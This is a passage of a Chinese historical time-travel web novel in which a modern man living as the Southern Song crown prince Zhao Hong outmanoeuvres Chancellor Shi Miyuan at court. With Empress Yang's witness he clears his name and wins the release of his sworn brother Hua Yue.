第十七回 上朝菜市场 吵架哪家强 (肆)
讲完事情经过后,宋宇表情严肃的扫视了一圈这满朝的文武。只等着众人表态。
宋宇心里清楚,遇到泼脏水这种事,你越急,别人会越怀疑你,只有冷静以对,才有办法脱身。
果不其然,宋宇刚把话说完,一片议论之声随之而起。只听离宋宇不远的两个官吏悄声言道“;看来此事不简单啊,弄不好,咱大宋朝要变天了?”
另一人小声赶紧劝道“;赵大人,小声点,你我只要谨守为臣的本分,这天怎么变,又与你我何干?”
宋宇身后的皇叔也拽了拽宋宇衣角,小声说道“;太子侄,看来皇叔错怪你咧,不过,你刚才说的,若是事实,恐怕今日不好脱身啊。这姓史的,摆明了是要收拾你。”
宋宇没理这个老不正经的皇叔,依旧雷打不动。
不多时,朝堂议论之声减小,一道洪亮声音传开“;礼部侍郎真德秀,愿给太子殿下作证。”
宋宇听到这个声音,心中少定。知道是自己的老师出手了。
龙椅上的宁宗一听有人作证,顿时来了精神。欣喜的说道“:真爱卿,此事你也在场?”
真德秀老神在在的说道“:臣并未在场,不过,昨日殿下是应老臣之邀,到老臣府上做客。虽然半路发生何事,老臣不知。可当时来到老臣府上的殿下,身边仅有两名便衣随从。”
他这一出口,一些心里有底线的大臣,也纷纷站出来说话。
兵部郎中(兵部按官职大小排列,依次是尚书,侍郎,郎中。其余六部同)魏了翁也站出来大义凛然的说道“:真大人一向以中直闻名,想来此事是有人故意加害当朝的太子殿下。还望圣上明察。”
大理寺评事(估计是大理寺官职最低的)胡梦昱也站出来大义凛然的说道“:圣上,太子殿下自被册立以来,素无过失,臣觉得不可在朝堂之上妄议国之储君,此事大为不祥啊。”说完跪倒在地。一副你不罢手,我不起来的架势。
宁宗看有如此多人为宋宇说话,心中大喜,赶紧言道“:既然满朝文武都觉得妄议国之储君,十分不祥。那此事就此作罢吧。”
宋宇看到宁宗这和稀泥似的表态,立马翻了个白眼:现在和稀泥没用了,我们两家是真掐起来了。
以史弥远的狠毒,弄这么大阵势,若是和稀泥便了事了,那自己和他斗,还真是没劲了。
果不其然,史党立马开始了**。刚才还跪在地上,蔫啦吧唧的监察御史李之孝,大义凛然的说道“:圣上,史相为国操劳十余年,此时若就此作罢。恐怕寒了天下人之心啊。”说完伏在地上,跟条赖皮狗似的。有他带头,剩下的史党也开始群起**。
大理寺卿薛极站出来义愤填膺的说道“:本官下属,胡梦昱,朝堂之上,危言耸听,满口胡言。论罪当诛。”说完满眼鄙视的看了看伏在地上**的胡梦昱。
回过头来继续义正言辞的说道“:圣上,治国若无法度,如何服天下人之心?若事事都如太子殿下这般,草草了事。谁还将这大宋国法放在眼里?依下官看来,此事当交由我大理寺审理。案情查明之后,在公诸于天下。以堵天下人悠悠众口。”
此言一出,满朝文武皆惊。只听宋宇身后传来一声怒喝“:怠!大胆的薛极。公然要求审理当朝太子,你这贼杀才,莫不是想让这天下大乱不成?”
宋宇实在没想到,身后那个不靠谱的皇叔,竟然为了自己,公然和史党叫起板来。
后面几个叔叔爷爷的,一看老赵家自己人出手了,纷纷站出来指责薛极。甚至有一位白发苍苍的老王爷,痛哭流涕的说道“:圣上啊,你可千万别听这帮龟孙儿的啊。咱老赵家,自从泥马渡江以来,人丁凋零。可不能在瞎折腾了。若将太子交给大理寺,咱老赵家就断根了呀。”老王爷话一出口,这些个赵姓的王爷,无不伤感。
宁宗听到此处,终于坐不住了,说实话,打心里自己就不可能对皇儿下手。
但满朝文武并非全站在皇儿一边,两方又都振振有词,本想草草了事,怎奈这些人苦苦相逼?
左右为难下,宁宗将目光放在了王俞身上“:王知府,这件案子是由你接取,理应由你审理。”
王俞眼见宁宗刚才还信誓旦旦要帮史弥远做主,现在却又将这个烫手山芋扔回给了自己,心中暗骂晦气。
宰相的儿子,被皇帝的儿子打了。这事怎么说都得得罪一个人。得罪了史相,那就是得罪了满朝史党。得罪了皇帝,随便给你安个罪名,绝对流配三千里开外。
不行,这烫手山芋,老朽绝对不能留在手里“:回皇上,皇室犯法,应交由大理寺处理。”
宁宗见王俞不肯大事化小,小事化了,再次犯难。左右思量,只好将求助的眼光放到了史弥远身上,恳求似的询问史弥远道“:史爱卿,此事还是你来做主吧,毕竟与你儿子脱不了干系。”
宁宗将皮球踢给史弥远,无非是暗示史弥远,大家君臣一场,该给面子的时候,别留着。
宁宗话语出口,满朝文武都将目光**到了史弥远身上。
史弥远眼见自己在隔岸观火,是不行了。便站出队伍,义正言辞的说道“:圣上,自古明君圣主,皆以明察秋毫,不避亲贤著称。圣上若不将此事了结,天下人会如何看圣上?此事臣虽有心袒护太子殿下,但现在已然被人道破。臣无奈,恳请圣上明察。好给天下人一个说法。”说完露出一脸无奈的表情,好像此事自己实是做不得主。
宋宇见宁宗亲自出口,仍然没有效果,暗道:史弥远摆明了是要置自己于死地。看来这史弥远很疼自己的废物儿子啊。
宋宇看看僵在朝堂上的两方,又看了看在龙座上左右为难的宁宗。一时还真是没了办法。
就在宋宇苦苦思量破解之法时,一直沉
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默不语的乔行简开口了。只见乔行简整了整冠帽,站出队伍一拱手“:圣上不必为难,此事想要查清,依臣看来,倒也不是不可能。”
愁眉苦脸的宁宗听到有人说查清不难,就像抓住了一根救命稻草。满脸欣喜的看着乔行简说道“:乔爱卿有办法查明真相?快快说来。”
乔行简依旧不急不慢的说道“:依臣看来,此事的关键证人,乃是被救的那两位姑娘。若能找到那两位姑娘。定然能够水落石出。”
宁宗转忧为喜,回过头来笑着问宋宇“:皇儿啊,你可还能找到那两位姑娘?若能找到,此事便有了结果啊。”
宋宇听到宁宗问询,顿时心中翻腾:自己若是说出谢道清的名讳,定然能够解了此难。
可从此谢姑娘怕是没脸出门见人了。若因为自己一人之私,拖累一位古代的姑娘名声狼藉。实在是不妥。
思来想去,最后心中一叹,也罢,本来,我宋宇也不是这个时代的人,何必为了自己的这点破事,毁了一位姑娘呢?
心里暗自下定决心,宋宇沉声对着龙座上的宁宗说道“:禀父皇,当时事态紧急,等到皇儿与随身家将打退恶徒之时,两位姑娘早已不见了踪影。故而,不能请两位姑娘前来解难了。”
宁宗无奈地摇了摇头,眼见自己皇儿找不到证明清白之人,也跟着哀叹了一声。
不过马上又恢复了神态,面带微笑的说道“:既然有人能够证明我皇儿的清白,那就等找到这两位姑娘时,在商讨此事吧。”得,这宁宗又要开始和稀泥了。
下面的史党怎会轻易放过如此好的机会?薛极立马又站出来说道“:圣上,还是将此事交于大理寺详查为好。迁延日久,难堵天下悠悠众口。”其余史党也纷纷应和。一副今日不给个交代,便别想了事的样子。
就在这朝堂之上陷入僵局之时,一道威严的女声传来“;既然诸位大臣想要圣上给个说法,那此事便由本宫来给你们个说法吧。”
话音落,内侍大声禀报“:皇后娘娘驾到。”
众位大臣立马停了争论,站回原地跪拜齐呼道“;恭迎皇后娘娘。”
那道威严的女声再次响起“:都免礼吧,本宫今日来,就是给你们个说法。以防居心叵测之人,对我皇儿昨日之事大做文章。”
说完带领着自己的两位侍女,来到龙案前,跪下给宁宗行礼“:妾身,参见圣上。”
宁宗看到皇后到来,并未露出喜色,而是十分无奈的说道“:哎呀,皇后啊,朕今日已经够烦了。若非要紧事,散朝后在说,就别在这朝堂上,再给朕添乱了。”说完将右手不耐烦的摆了两下,示意杨皇后起身。
堂下的宋宇刚刚站起身,想看看皇后长啥样。身后的皇叔却关切的小声说道“:这杨桂芝来者不善呐,太子侄。皇叔听闻你与他向来不对付,这厮现在来,莫不是要落井下石吧?”
第十八回 杨皇后登场 史弥远逼宫
“:圣上,妾身此来,就是为您解决这宗麻烦事的。”杨皇后谦恭的解释道。
说完也不再理会宁宗,转身冷眼对着满朝文武不怒自威的说道“:诸位,本宫这里,有此事的证人,此番一并带来,澄清事情原委,好给某些人一个交代。”
说完冲身后一个侍女吩咐道“:丫头,将昨日之事,讲给诸位朝臣听。”
杨皇后身旁一位本来低头看脚尖的侍女,听到杨皇后吩咐,应了声喏,慢慢抬起头来。
弱弱扫视了一圈众大臣,最后将目光锁定在了宋宇身上。
宋宇此时听到杨皇后说辞,正好也将目光放到了侍女身上,两条目光相交,宋宇心中一惊,木木然自言自语道“:谢,谢道清,谢姑娘。”
不错,杨皇后所说的谢丫头,就是昨日宋宇所救的谢道清。
谢道清看到宋宇的一刹那,露出了开心的表情,调皮的给宋宇眨了下左眼,便回过头来,对着众人缓缓道出了昨日之事的来龙去脉。
满朝文武,像听书一样,全都聚精会神的听着谢道清讲述,生怕拉下了什么。
听到当朝的太子,不顾安危,迎着短剑舍身救人之时,惊得众人下巴都要掉下来了。
甚至有位朝臣惊呼出声“;殿下真乃天人也!”
旁边并非史党之人也纷纷附和“:是啊,是啊。殿下神勇,有太祖之风。”
不过谢道清也并非将真相全部说出,而是做了少许改动,谢道清并未曝光自己身份,也知道陈达身份特殊,所用武器,更是奇异,所以并未说出是陈达救了宋宇。
而是玄乎奇悬的说是天雷击掉了史施德的刀剑。经谢道清这么稍一改动,宋宇简直成了天人下凡,有皇天庇佑了。所以才会有人惊呼殿下真乃天人也的感叹。
宋宇听完谢道清的一番论词,心中暗暗佩服这丫头心思缜密。
而谢道清一番论词讲完,也不管朝臣是何种目光,双目饱含深情的看了宋宇一眼,便又低头退回了杨皇后身旁。
杨皇后向前走了两步,略带嘲讽的对着史弥远说道“:史相生的好儿子啊。真是虎父无犬子。本宫在这里恭喜史相你了。”
说完一甩衣袖,回身对宁宗说道“:圣上,臣妾已经无事了,就此告退。”言毕,也不管宁宗之后有无吩咐,领着谢道清和另一个侍女,愤愤然的向着金殿外走去。
临到出口,还不忘冷言冷语的留下一句话“:我们家的丫头,可不是什么阿猫阿狗都能染指的。”言毕扬长而去,消失在众人眼中。
杨皇后刚走,堂下突然传来一声惊呼,唤醒了一帮呆若木鸡的朝臣“:哎呀,王大人晕倒了。”
宋宇寻声看去,只见刚才还好好的王俞,此时已经昏厥在了朝堂之上,而其身下流出一滩黄色水渍。似是,吓尿了...
看到王俞昏厥,真相大白,宁宗满心欢喜“:来人呐,将这老匹夫朝服扒去,消其官职。擢大理寺议处。至于这两个作伪证的百姓,卓交刑部议处。”
话一讲完,立马有一队带刀侍卫应声从大殿外走了进来,像拖死狗一样,将王俞拖了出去,至于那两位百姓,怎么来的,又怎么回去了。
就此,纵横官场三十余年的王俞,就这样退出了大宋的庙堂。宁宗看此事已了,转过身来对史弥远询问道“;史爱卿啊,你看如此处置,可否妥当?”
史弥远现在心里是又羞又气。可还真就哑巴吃黄连,有苦说不出。
听到宁宗问自己,赶紧故作愤愤然的说道“:王俞混淆黑白,诬陷当朝太子,其罪当诛。圣上如此处置,便宜这厮了。”
说完还不解气,又转过头去,满眼鄙夷的看了一眼,正被两位侍卫拖拽的王俞。
宋宇看到史弥远这副模样,心中暗自嘲笑:这就是奸臣啊,除了自己,剩下的人都是踩在脚下的垫脚石。
用到你时,满面笑容,你一出事,他绝对第一个踩。光踩还不行,还得满眼鄙夷的踩。
史弥远刚落话音,宋宇身后那个不着调的皇叔便站出来调笑道“:俺说丞相兼枢密使大人哪,王俞这老王八蛋咎由自取,那是应该,但贵公子史施德,冒犯国之储君,该当何罪啊?”
史弥远看到这个糊涂王爷竟然哪壶不开提哪壶,顿时气不打一处来。刚想发怒,自己养的其中一条狗先吠了起来。
只见贼眉鼠眼的吏部尚书聂子述站出列来,痛心疾首的说道“:保宁王,史相公子已经被殿下打的只剩半条命,如今仍然不省人事。难道保宁王还要苦苦相逼?须知得饶人处且饶人。”
保宁王还要开口,宋宇赶紧将他拦住,小声劝道“:皇叔,竑自有算计。还请皇叔稍安。”
保宁王眼见受害人太子侄劝自己,也不知道宋宇葫芦里卖的什么药,但还是站回了自己的位置。鄙视的瞄了一眼聂子述,不再言语了。
宋宇看皇叔听了自己的劝告,站了回去,心中很是欣慰。脑海中整理了一下措辞,便站出列来,对着史弥远说道“:史相,刚才聂尚书所言,可合史相心意否?”
史弥远看到宋宇奔自己而来,吃了两次亏得他,心里顿时****的,暗自盘算着宋宇这小子到底想干什么?
若自己回答不合心意,那就等于当着满朝文武的面,把儿子卖了。
可要是回答合心意,那自己岂不是纵子行凶?看来还真不能回答他。
想到此,史弥远将目光放到了宁宗身上,弄不过小的,本相还弄不过老的?
史弥远暗自佩服自己的聪明才智,脸上则露出一副好像受了莫大委屈的样子,跪在地上,对宁宗哀求道“:圣上,犬子触犯太子,确不应该。可自身已然受到惩罚,还请圣上念在臣这些年殚精竭虑,为国守门的情份上,放犬子一条生路。”
风水轮流转,刚才赵家那帮老王爷们,为宋宇求情的一幕,再次上演了,不过这次主角换成了史弥远等人,只见这史弥远一跪,朝堂内
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呼啦啦跟着跪下去了近七成的大臣。
看着这近乎逼宫的一幕,宋宇这心里上下打鼓,自己面对的,难道是整个大宋官场么?
宋宇越想,这心里越是没底,正在宋宇深思的时候,后面突然传来了一个不和谐的声音“咚咚咚”。
宋宇回头看去,只见刚才为了自己涕泪横流的白发老王爷,此时用手中拐杖,痛心疾首的戳着地板。
只见白发苍苍的老王爷,满面怒气的大声责骂道“:保宁王,你说这些人跪,你跟着凑什么热闹?你是不是忘了自己姓赵了?”
说完举起拐杖,就要打跪在地上的保宁王。
见到这一幕,老王爷身后站着的两个年轻皇亲,赶紧上前扶住失去拐杖支撑的老王爷,其中一人边扶,边在旁边劝道“:哎呦,老王爷,保宁王糊涂,又不是一日两日了。您老消消气,别跟他一般见识。”
跪在地上的保宁王也赶紧起身,臊不答得的说道“:保懿王兄,俺刚才一时糊涂,见这么多人跪,一时懵了,也顺带脚跪下去了,你消消气。”说完死皮赖脸的走上前去,左手扶着保懿王,右手一上一下的在保懿王肚子上,给气的上气不接下气的保懿王顺气...
宋宇看到是一场虚惊,擦了把汗。心中暗暗佩服起这俩老古董:就现在这场合,俩人还真能折腾。
保懿王看到宋宇盯着自己两人,老脸一红,无奈的说道“:俺们俩老古董,让殿下笑话了。惭愧之至。”说完连连摇头,叹气不止。
宋宇强颜欢笑“;老皇叔说的哪里话,都是自家人。有什么笑话不笑话的。”说完向保懿王投去理解的眼神。
老王爷听了宋宇劝慰的话,心里暖洋洋的。不过一看这满地的大臣,又开始止不住的叹息。知道现在不是跟宋宇闲话家常的时候。
强撑精神,保懿王再次用拐杖努力敲击着地面“咚咚咚”。随后痛心疾首的说道“:你们如此做事,莫非是要逼宫不成?”
吼完,又转身对史弥远说道“:我说史相啊,俩小辈打架,多大个事,咱至于如此吗?”
说实话,跪在地上的史弥远,现在比谁都郁闷,听到老王爷的质问,心中更是惊惧:自己哪有什么逼宫的心思?
自己本来是打算跪下来给宁宗说两句好话,服个软,以宁宗的脾气,定然不会为难自己,肯定会给个台阶下。此事便也算了了。
哪知身后这帮浑人,直接整出来这么大阵势。
历史人物志:杨皇后,本命杨桂芝。在宁宗犹豫要立谁为皇后时,当时掌权的韩侂胄极力反对立她为后,原因很简单,当时韩侂胄就对宁宗说,此女心机颇深,为达目的不择手段。若立为皇后,后宫定无宁日。可宁宗并没听他的。依旧将杨桂芝立为皇后。后韩侂胄北伐失利,杨桂芝便勾结史弥远,残忍杀害了韩侂胄。韩侂胄死后,宁宗彻底沦为了史弥远和杨桂芝的傀儡。相权,后权,死死将皇权踩在了脚下。
第十九回 闹剧终收场 宋宇谈条件
史弥远惊惧之余,抬头偷瞄了下宁宗,只见宁宗满脸通红,嘴唇发紫,也不知是气的还是吓的。
史弥远顿觉不妙,赶紧向宁宗澄清道“:圣上,臣绝无逼宫之心啊,圣上,您知道,臣对大宋朝可是忠心耿耿啊!”说完用头凿地,“咚咚咚”的一连磕了九个响头。
龙椅上的宁宗,是真的吓蒙了,龙袍袖中的双手都攥出了汗。
说实话,看到刚才一幕,宁宗不禁然想起了当年韩侂胄的惨死。凭心而论,自己还是很喜欢韩侂胄的。
虽然韩侂胄也是个权臣,但与史弥远相比,韩侂胄肚子里没有那么多弯弯绕,向来是有话直说。
可像史弥远这样的,在自己不知情的情况下,公然砸死当朝宰相之人,其凶残程度可见一斑。
还记得当年韩侂胄**三天以后,自己还傻傻的在朝堂上询问韩爱卿怎么没来上朝?
现在想来都不觉一阵害怕。可怕归怕,自己还就真的对这史弥远没有办法。
为何?因为这史弥远砸死韩侂胄,就是为了巴结金国。自己若处置它,金国再次兴兵问罪,到那时候,恐怕这大宋朝也算是玩完了。
此时看着地上磕头如捣蒜的史弥远,宁宗这心里才稍安了些,定了定神,小心翼翼的说道“;史爱卿,朕知道你是个忠臣,在满朝文武中,素有威望。出现此种情况,确实情有可原。爱卿大可不必为此谢罪。还请爱卿快快起来说话吧。”说完苦笑着盯着史弥远。
史弥远眼见宁宗并没有怪罪自己的意思,心中长出了一口气,知道自己再跪在地上,那就是矫情了,在地上喊了句“:臣谢圣上体谅之恩。”便站了起来。
宁宗又赶紧微笑着对史弥远身后众臣说道“;众位爱卿也别跪着了,都起身吧。”
跪在地上有样学样的史党们,见自己的主子都站起来了,也赶紧纷纷谢恩站了起来。
一旁的宋宇看着这场突如其来的闹剧,以这种十分荒唐的方式结束,暗自咂舌:这么大的一件事,竟然在自己父皇的服软下,荒唐的结束了?这大宋,很有趣。
经过这朝堂上一连串的变故,宋宇心中百感交集,看来不管历史如何变迁,这世道,也会一尘不变。
世道太平之时,利益熏心者,极力揽权,搂钱,全然不顾弱者的死活。什么民族利益,国家荣辱,在他们眼里是可有可无的东西。
但与他们恰恰相反的,还有一支生活在弱者中的群体。他们天生便在体内长了一副钢筋铁打的脊梁。像是叶绍翁,岳飞。
但也正是由于这幅脊梁,他们不懂得何为谄媚上司,何谓见利而动。其性格往往与**形成排斥反应。所以,只能游荡在权力的最底层。
可一但天下有变,民族危亡,争权逐利者,面对外敌,吓得屎尿横流,纷纷弃国投降逃跑之时。
这群人身上鲜明的性格,便会散发出耀眼的光芒。用自己那副钢筋铁打的脊梁,建起一座名为英雄的高墙。
将自己的国家和民族死死的护在身后。当身后的同胞从惊恐中醒过来之时,或许会问“:我们那么瞧不起你们,你们这又是何苦?”
英雄们会转过头来面带微笑的说道“:因为我们都是炎黄子孙。”
从古至今,华夏大地上一直重复的上演着这一幕。从战国的苏秦,张仪,商鞅,秦末的韩信,陈胜。一直到这南宋朝的岳飞,韩世忠。
布衣守国者,可谓是数之不尽。
虽然他们中有的成功了,有的只是尽忠。但如果没有他们,这华夏民族的历史若让后人读来,定然是索然无味。正所谓:
自古英雄出草莽,
铁打脊梁护炎黄。
平生不随名利动,
只愿华夏万世兴。
看着朝臣都站了起来,宋宇在心中无奈的苦笑一声。其实刚才宋宇问史弥远是否和心意,并非是要坑他,而是要和他做一笔交易。
结果史弥远没理自己,而是奔着宁宗去了。导致引出这么一档子事,让宋宇无奈至极。
看到闹剧谢幕了,宋宇便转过头来对史弥远说道“:史相,其实竑刚才的话只说了一半,您看您,太心急了,怎就不让竑将话说完,便跪将下去?”
史弥远掏出一块手帕,擦了擦脸上的汗水,本来便因为肥胖而容易出汗的他,刚才由于紧张,整个朝服早已被汗水浸透。
湿透的朝服贴在身上,显露出史弥远一身丰满的肥肉。看的宋宇想笑又不敢笑。
擦完汗,史弥远将手帕放回湿透的朝服内,定了定神,对着宋宇一拱手说道“;还请殿下赎罪,是臣鲁莽了,殿下若是还有话说,尽可讲来,史某定然洗耳恭听。”
经过刚才那尴尬的一幕,史弥远变得乖巧了些。不再像刚才那般盛气凌人,爱答不理。
宋宇看他这态度转变,知道心中算计**能成,便故作恭敬的说道“:史相,其实贵公子冲撞竑,竑压根便没放在心上。史相不必为此事自责。而且竑出手重伤了贵公子,心中也是深感愧疚。当时竑并不知道对方是您家公子,下手没个轻重。在此,向史相陪个不是。还望史相莫要再为此事劳神。”
说完双手在前胸抱拳,上下晃了晃,以示道歉。然后又意犹未尽的说了两个字“;不过...”
史弥远一看宋宇如此表态,知道并非故作姿态,心中暗自高兴,不过看宋宇最后意犹未尽的样子,史弥远也并非傻子,知道宋宇定然是有事相求,
心里暗道:现在这种状况,若是能大事化小,小事化了,再好不过。
便对着宋宇同样一拱手,面带微笑的说道“:殿下,殿下如此说,实在是折煞史某了,史某并非小肚鸡肠之人,殿下有何事尽管明说。”说完笑呵呵的等着宋宇提条件。
宋宇看史弥远很上道,心中也是欣喜,赶忙回道“;史相真是宰相肚里能撑船
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,竑佩服之至,其实竑想说的也并非什么大事,对史相来说,简直易如反掌。”
“:既如此,太子殿下尽管说来,史某只要能办到,定然会竭尽全力。”史弥远答道。
宋宇见史弥远说的坦诚,微笑着提出条件“:竑有一位结拜兄弟,数日前,不慎冲撞了史相,因此被关押在大理寺牢里。其实此事完全是个误会,还请史相高抬贵手,放出竑这位兄弟。”
“:不知殿下所说何人?”
其实宋宇一说前几天的事,史弥远心中早有了答案,不过还是装模作样的佯作不知。好给自己留个转圆的余地。
毕竟宋宇一提,自己若是认了,面子上谁都过不去。
宋宇知道史弥远是装蒜,不过也没当回事,微笑着回答道“:此人名叫华岳。”
此言一出,史弥远倒没什么,不过在其身旁的大理寺卿薛极,却急忙小声在史弥远身旁提醒道“:恩相,这华岳可不能轻放啊。”
史弥远听到薛极的提醒,顿时来了气。为何?原来这薛极在史党之中,可谓是智谋之士。
为了逢迎巴结史弥远,薛极更是绞尽脑汁,屡献毒计,帮史弥远排除了专权路上的一个个绊脚石。
除掉华岳,便是薛极献计。在史党中,可谓是最受器重之人,但此时史弥远听到薛极的声音,却是怒火中烧。
原因无他,今日史弥远落得如此狼狈,全是薛极计谋败露之因,设计找**人,设计陷害宋宇,全是薛极之策。
只见史弥远恶狠狠的瞪了薛极一眼,小声咬牙说道“:住口,本相回去再跟你算账。”
薛极讨了个没趣,乖乖的闭嘴,夹着尾巴不说话了。
宋宇在一旁听到他俩的小声对话,又看到薛极吃瘪,心中暗自高兴,有心调笑薛极一把,便面带微笑的说道“:薛大人,请问这华岳为何放不得?”
薛极一看宋宇这煞神冲自己来了,心中暗暗叫苦,不过人家是太子,问话你还必须得回答。
便站出位来,恭敬的对着宋宇回道“:殿下,华岳公然行刺史丞相,实是罪大恶极,故而臣说他放不得。”说完满脸谄媚的对着宋宇笑。
宋宇看他进套,心中冷笑,面上依旧微笑着说道“:哎呀,我说薛大人,你这用词不准确啊。史丞相在这里站的好好的,何来行刺之说?”
薛极依旧谄笑着随着宋宇的话往下说道“:殿下,这行刺虽未成功,但确有其事啊。若是不以行刺论处,恕薛某愚钝,又以何罪论之?”
宋宇哈哈大笑“:薛大人,亏你还饱读诗书,刺者,不死便伤,你若不信,我用剑刺你一下,验证一下是不是这个情况?”
薛极看太子在这胡乱解释,顿时哭笑不得,但仔细一想,自己若是说不是,这太子还真说不好给自己来上一剑...
左右衡量下,薛极只好昧着良心说道“:殿下,理是这么个理,但是...”
第二十回 君子喻于义 小人喻于利
宋宇不待他说完,出言立马打断“;既然薛大人也说是这么个理,那就不能说华岳是行刺,只能算是骚扰。”
薛极一听这话,立马急了,赶紧说道“:诶?哎呀!殿下,这个不能如此解释啊。如此解释...”
“:好了,够了!”薛极话没说完,一声怒喝打断了他,不过打断他的不是宋宇,而是史弥远。
薛极听到这声怒喝,浑身一哆嗦,循着声音看去,只见史弥远满脸铁青,双目圆睁瞪着自己。顿时吓得两腿发软,慌忙向史弥远作揖赔罪“;恩相息怒,在下都是为了恩相着想啊。”
史弥远看他当着宁宗的面如此说话,顿时满脸躁得通红,慌忙摆手让他退回去。
又转过脸来,笑眯眯的对着宋宇说道“:殿下,薛尚书平素便爱胡言乱语,您别和他一般见识,史某觉得殿下说得有理,华岳只是骚扰史某,殿下现在就可差人,去大理寺将人放出来。”言毕,史弥远脸上露出灿烂的微笑。好像自己巴不得放人似的。
宋宇听了史弥远说辞,心中欢喜,对着史弥远拱了拱手“:哎呦,史相,竑在这里,再次谢过史相。”
“:哪里,哪里,应该的,应该的。”史弥远赶忙皮笑肉不笑的回答。心中却已恨不得立马将宋宇生吃了。
宋宇转过身来对着龙案后的宁宗一拱手说道“:父皇,华岳一事,已经查明,纯粹是个误会,皇儿想现在就将他从大理寺放出来,还请父皇定夺。”
宁宗之前一直左手托着下巴,斜倚在龙座上,津津有味的看宋宇和史弥远你来我往的讨价还价。
越看这心里越觉得宋宇顺眼,暗道:其实当年立太子之时,自己因为赵竑沉迷琴色,怕再像当年的徽宗那样,误国误民。
所以便立了相较赵竑,更加平庸的赵询为太子,可惜赵询无福帝王之位,死在了自己前面。
万般无奈之下,只好又立了赵竑。但这赵竑被立为太子不久后,便不再上朝,整日窝在府中,也不知道搞些什么?
而且这史弥远几乎每次朝议,都要点名参奏赵竑,次次都有新花样。让自己不厌其烦。
自己甚至有时都想放弃赵竑,但看看老赵家那单薄的人丁,还有那些不靠谱的老王爷。
又强将这种想法压了下去了,之后史弥远再怎样参奏,自己也是能躲就躲,能装糊涂就装糊涂,并且派自己最信任的真德秀,去给赵竑做老师。
只期望他有一天能迷途知返,做不得一代明君,但起码别把剩下的这半拉子江山也鼓捣没了就成。
今日这一场大戏,总算解开了自己一直以来的困惑。感情赵竑和史弥远关系极差,今日竟然闹到了朝堂上,双方还恨不得将对方置于死地。
想到这里,宁宗意味深长的看着宋宇,庆幸自己选择了坚持。就以现在赵竑的心智胆量,恐怕已经强过自己数倍。
而且还知道将自己这个父皇也拉进一个派系,即使占了上风,得了便易,还不忘向自己请示。比史弥远手下那些个目中无人的蠢货,强了不知道多少。
宁宗越想心里越开心,越看越觉得宋宇顺眼,见宋宇请示自己,忙满脸笑容的说道“:皇儿啊,此事全凭你做主。你可差人,手持你的太子令牌,前去大理寺提人。只是还有一事,父皇觉得有些不妥,这华岳虽是忠直之士,但与你这太子结拜,身份上怕是有些不妥吧?”
宋宇看宁宗暗自提升自己这太子令的威力,心中很是欣慰。见他又质疑自己结拜之事,便在心中思量了片刻,回答道“:父皇,当年太祖不过是一兵卒,多亏一帮兄弟扶持,方才创出我大宋这片基业。更何况华兄弟获罪前乃是殿前司公事,是故皇儿觉得并无不妥。”
宁宗听完哈哈大笑“:我儿心向太祖,朕心甚慰。朕心甚慰啊。今日散朝之后,便留在宫中,陪父皇吃顿饭。”
宋宇看着笑得合不拢嘴的宁宗,有点心虚,自己刚才的牛皮是不是吹的有点大了?自己可不喜欢赵匡胤,尤其是看不上赵匡胤欺负孤儿寡母,以及后来的玉斧分疆。
自己就说两句瞎话,糊弄糊弄而已,至于这么高兴吗?不过听到宁宗管饭,心里一喜。赶忙应承道“:皇儿谢过父皇。”
宁宗可不知道宋宇心里的小九九,边笑边摆手示意“;吃个饭而已,皇儿不必如此客气。”
宋宇看宁宗这边无事了,转过头来,思量着要派谁去。
看了一圈,便看到刚才为自己出头的那个,被上级瞧不起的小官,大理寺评事胡梦昱。
别看官小,这家伙可以说跟自己有莫大的关系。历史上赵竑被害后,身为最底层官员的他,屡屡在假帝理宗面前为赵竑翻案。
结果,被史弥远他们祸害了六七年,最后在贬去象州(广西中部)之前,以四十一岁急卒。
其实宋宇觉得他是被史党毒死的。现在既然可以重新来过,宋宇怎能忘掉他?
带着报恩的想法,宋宇微笑着对胡梦昱喊道“:大理寺评事,胡大人,你可愿辛苦一遭,将华将军放出来?”
胡梦昱刚才一直在为宋宇言行所欣喜,暗自高兴这赵大官家总算有了个好苗子。
此时听到宋宇喊自己,赶紧站出列来“:殿下吩咐,小臣敢不从命。”
看到胡梦昱如此回答,宋宇很高兴,忠臣要是这么回答,就是对你的认可。
相反奸臣要是这么回答,就是为了顺杆往上爬,谁信谁傻子。
想到此,宋宇便对着胡梦昱喊道“;胡大人,本太子很看好你,你平素若是遇上什么仗着官大便欺负人的主,尽可来找我父皇,我父皇定然会为你做主。”
此话是奔着薛极去的,就是为给胡梦昱报刚才被鄙视之仇。
胡梦昱很识相,赶紧向宁宗叩拜到“:多谢圣上,吾皇万岁万岁万万岁。”
宁宗很是配合的说道“:胡爱卿,快快请起,皇儿说的对,以后碰到这样的人,你就来找朕,朕给你做主。行了,向皇儿领了令牌,去办你的差事去吧”说完笑呵呵的看着宋宇。
胡梦昱
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再次称谢,走到宋宇面前。宋宇将金牌摘下,小声对胡梦昱说道“:胡大人,你可去丽正门外手持金牌,传本殿下的马车,与你一同前去。想必现在华将军已经被折磨得不成样子了。你直接嘱咐马车,将之送到本殿下的府上,自然会有人接应。”
胡梦昱拿了金牌,欣然领诺,快步走出金殿,在门口又唤了两名带刀侍卫,奔大理寺天牢而去。
一旁的薛极看着这三人一唱一和的,心中顿时升起一股莫名的恐惧。暗自揣摩,自打撕下脸皮,投了史弥远以来,可谓要风得风,要雨得雨。
这天下间,除了史弥远,薛极还真就不把别人放在眼里。
可今日朝堂上一番交锋,薛极心里顿时有了一股莫名的不安,心想,若是让太子在这么折腾下去,自己等人的死期,恐怕不远了吧?
宁宗看到麻烦事总算过去了,满脸微笑着问下边众臣道“:诸位爱卿,可还有事?”
说完扫视了一圈堂下众臣,看到没有人在出什么幺蛾子,宁宗对旁边站里的内侍摆了摆手。示意他可以结束了。
内侍看到宁宗摆手,立马大声喊道“:六参朝会结束,散朝。”
众臣又是跪在地上山呼万岁,然后三五结群的走出了朝堂。
看到满朝文武全都向外走去,宋宇却没动,他还惦记着宁宗管饭呢。身后几位王爷都一一向他辞行后,真德秀和乔行简走到宋宇面前。
只见真德秀面带笑容看着宋宇,说道“:太子临危不惧,处变不惊,实是让老夫大开眼界。老夫甚是欣慰,甚是欣慰啊。”
说完眼中似是有泪花打转。
宋宇一看他这副模样,赶紧打住他,这么大岁数了,自己若是再把他弄哭了,可真是太不应该了。
想到此宋宇赶紧转移话题“:先生,华岳已经救出,学生已将他接入自己府上,先生若是无事,可去学生府上探望。学生还要陪父皇用膳,恐怕一时半会回不去了。”
真德秀依旧满脸微笑“:嗯,好好,老夫这就前去,殿下去陪圣上吧。华岳那里,殿下不必担心。”
说完转身问乔行简“:乔大人可愿一同前去?”
